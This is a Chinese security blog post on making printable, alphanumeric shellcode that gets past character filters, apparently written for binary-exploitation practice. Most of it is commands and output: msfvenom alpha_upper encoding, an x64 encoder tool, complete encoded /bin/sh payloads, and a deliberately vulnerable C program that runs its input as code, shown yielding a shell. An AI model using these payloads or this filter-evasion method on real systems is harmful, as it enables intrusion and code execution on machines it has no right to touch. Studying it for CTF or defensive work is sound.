生成可打印的shellcode

2019-07-17 约 799 字 预计阅读 4 分钟

声明:本文 【生成可打印的shellcode】 由作者 Ex 于 2019-07-17 08:59:00 首发 先知社区 曾经 浏览数 141 次

感谢 Ex 的辛苦付出!

有时候程序会对我们的payload进行一些可打印检查,比如进行 utf-8 编码等,这时候一般的 shellcode 是无法绕过检查的,这时候就需要我们对 shellcode 进行编码。

通过对网上资料的总结,找到了两种比较好的编码方法。

x86编码

x86编码的话用msf内置的encoder就行了。

ex@Ex:~$ msfvenom -l encoders

Framework Encoders [--encoder <value>]
======================================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/brace                     low        Bash Brace Expansion Command Encoder
    cmd/echo                      good       Echo Command Encoder
    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder
    cmd/perl                      normal     Perl Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/printf_php_mq             manual     printf(1) via PHP magic_quotes Utility Command Encoder
    generic/eicar                 manual     The EICAR Encoder
    generic/none                  normal     The "none" Encoder
    mipsbe/byte_xori              normal     Byte XORi Encoder
    mipsbe/longxor                normal     XOR Encoder
    mipsle/byte_xori              normal     Byte XORi Encoder
    mipsle/longxor                normal     XOR Encoder
    php/base64                    great      PHP Base64 Encoder
    ppc/longxor                   normal     PPC LongXOR Encoder
    ppc/longxor_tag               normal     PPC LongXOR Encoder
    ruby/base64                   great      Ruby Base64 Encoder
    sparc/longxor_tag             normal     SPARC DWORD XOR Encoder
    x64/xor                       normal     XOR Encoder
    x64/xor_dynamic               normal     Dynamic key XOR Encoder
    x64/zutto_dekiru              manual     Zutto Dekiru
    x86/add_sub                   manual     Add/Sub Encoder
    x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_underscore_tolower  manual     Avoid underscore/tolower
    x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower
    x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder
    x86/bmp_polyglot              manual     BMP Polyglot
    x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder
    x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder
    x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time              manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown                 normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha                  low        Non-Alpha Encoder
    x86/nonupper                  low        Non-Upper Encoder
    x86/opt_sub                   manual     Sub Encoder (optimised)
    x86/service                   manual     Register Service
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit         manual     Single Static Bit
    x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
    x86/xor_dynamic               normal     Dynamic key XOR Encoder

但是现在(2019-07-13)msf中还没有x64alpha_upper编码方式。

使用方法

使用msf时,可以用内置的shellcode,其命令如下:

msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper BufferRegister=eax

BufferRegister指的是指向shellcode的寄存器的值

如果不声明BufferRegister的话,生成的shellcode会有额外的几条指令来确定shellcode的位置,而那几条额外的指令却并不是可打印字符。

其结果如下所示:

ex@Ex:~/test$ msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 155 (iteration=0)
x86/alpha_upper chosen with final size 155
Payload size: 155 bytes
Final size of python file: 750 bytes
buf =  ""
buf += "\x89\xe7\xda\xd1\xd9\x77\xf4\x5b\x53\x59\x49\x49\x49"
buf += "\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"
buf += "\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41"
buf += "\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41"
buf += "\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a"
buf += "\x4a\x49\x32\x4a\x44\x4b\x36\x38\x4a\x39\x56\x32\x33"
buf += "\x56\x45\x38\x56\x4d\x53\x53\x4d\x59\x4d\x37\x35\x38"
buf += "\x56\x4f\x32\x53\x52\x48\x53\x30\x55\x38\x46\x4f\x53"
buf += "\x52\x35\x39\x32\x4e\x4b\x39\x4d\x33\x36\x32\x5a\x48"
buf += "\x44\x48\x53\x30\x53\x30\x35\x50\x36\x4f\x42\x42\x42"
buf += "\x49\x52\x4e\x46\x4f\x54\x33\x35\x38\x43\x30\x31\x47"
buf += "\x36\x33\x4b\x39\x4b\x51\x58\x4d\x4d\x50\x41\x41"

第二种,我们可以用msf来编码自己写的shellcode,其命令如下:

cat shellcode | msfvenom -a x86 --platform linux -e x86/alpha_upper BufferRegister=eax

其运行结果如下:

ex@Ex:~/test$ cat shellcode | msfvenom -a x86 --platform linux -e x86/alpha_upper BufferRegister=eax
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 103 (iteration=0)
x86/alpha_upper chosen with final size 103
Payload size: 103 bytes
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJ4K68J90RCXVO6O43E82HVOE2SYBNMYKS01XIHMMPAA

x64编码

对于x64的shellcode进行编码,Github上的 https://github.com/ecx86/shellcode_encoder 是很不错的,和msf上的工具一样,都是要确定shellcode的地址才行。

其命令如下:

python2 main.py shellcode rax+29

运行结果如下:

ex@Ex:~/test/shellcode_encoder$ hexdump -C shellcode 
00000000  48 b8 2f 62 69 6e 2f 73  68 00 50 48 89 e7 48 31  |H./bin/sh.PH..H1|
00000010  f6 48 f7 e6 b8 3b 00 00  00 0f 05                 |.H...;.....|
0000001b
ex@Ex:~/test/shellcode_encoder$ python2 main.py shellcode rax+29
Encoding stage2
488b0432 => 4863343a31343a53582d402874332d5020605f35383c2f5f505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
480faf44 => 4863343a31343a53582d713b40412d704520413557703039505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
32084889 => 4863343a31343a53582d244874202d5f606c20354f5f5736505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
043a83c7 => 4863343a31343a53582d402233402d41602020357b472f58505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
0883c610 => 4863343a31343a53582d402646612d502220413578345f4d505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
85c075e8 => 4863343a31343a53582d202022202d20407e4035455f2a77505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
Multiply-encoding stage3
48b82f62696e2f73 => 413553575a25252e 483e23646d6e2b73
6800504889e74831 => 415462524c61643a 684654484b634c35
f648f7e6b83b0000 => 4163795c343a7931 7649363a204f3a3b
000f059090909090 => 3c3b77625b273220 40707d593b5c7463
Assembling jump at +408

Encoding preamble for rdx <- rax+29
PPTAYAXVI31VXXXf-cof-@Hf-@HPZ

Original length: 27
Encoded length:  476
Preamble length: 29
Total length:    505

PPTAYAXVI31VXXXf-cof-@Hf-@HPZTAYAXVI31VXPP[_Hc4:14:SX-@(t3-P `_58</_P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-q;@A-pE A5Wp09P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-$Ht -_`l 5O_W6P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@"3@-A`  5{G/XP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@&Fa-P" A5x4_MP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-  " - @~@5E_*wP^14:WX-~[w_-?ah,-?C tP_SX- H#B- x^~5X>~?P_Hc4:14:SX-"*  -E6  5f}//P^14:WX-~[w_-?ah,-?C tP_SX- A""- ?~~5\~__P^SX-@@@"-y``~5____P_AAAAA5SWZ%%.H>#dmn+sATbRLad:hFTHKcL5Acy\4:y1vI6: O:;<;wb['2 @p}Y;\tc

举例

printable.c

// x86: gcc -m32 printable.c -o printable32
// x64: gcc printable.c -o printable64
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

int is_printable(char *s, int length)
{
    int i;

    for (i = 0; i < length; i ++)
    {
        if (s[i] <= 31 || s[i] == 127)
        {
            return 0;
        }
    }
    return 1;
}

int main()
{
    char *buf = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    int tail = read(0, buf, 0x1000);

    alarm(60);

    if (buf[tail - 1] == '\n')
    {
        buf[tail - 1] = '\0';
        tail--;
    }

    if (!is_printable(buf, tail))
    {
        puts("It must be a printable string!");
        exit(-1);
    }
    asm("call *%0" ::"r"(buf));
    return 0;
}

在这个程序中,正常的 shellcode 会被直接绊住,所以就可以利用上面编码过的shellcode。

其结果如下:

ex@Ex:~/test$ file printable32
printable32: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.2.0, BuildID[sha1]=6bbd4307de7e93dcda81bef0f16617415b14ec17, not stripped
ex@Ex:~/test$ ./printable32 
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJ4K68J90RCXVO6O43E82HVOE2SYBNMYKS01XIHMMPAA
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$ exit
ex@Ex:~/test$ file printable64 
printable64: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=9d51fb0464f69bae2eb982d538eaee094d5b501b, not stripped
ex@Ex:~/test$ ./printable64 
PPTAYAXVI31VXXXf-cof-@Hf-@HPZTAYAXVI31VXPP[_Hc4:14:SX-@(t3-P `_58</_P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-q;@A-pE A5Wp09P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-$Ht -_`l 5O_W6P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@"3@-A`  5{G/XP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@&Fa-P" A5x4_MP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-  " - @~@5E_*wP^14:WX-~[w_-?ah,-?C tP_SX- H#B- x^~5X>~?P_Hc4:14:SX-"*  -E6  5f}//P^14:WX-~[w_-?ah,-?C tP_SX- A""- ?~~5\~__P^SX-@@@"-y``~5____P_AAAAA5SWZ%%.H>#dmn+sATbRLad:hFTHKcL5Acy\4:y1vI6: O:;<;wb['2 @p}Y;\tc
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$

关键词:[‘安全技术’, ‘二进制安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now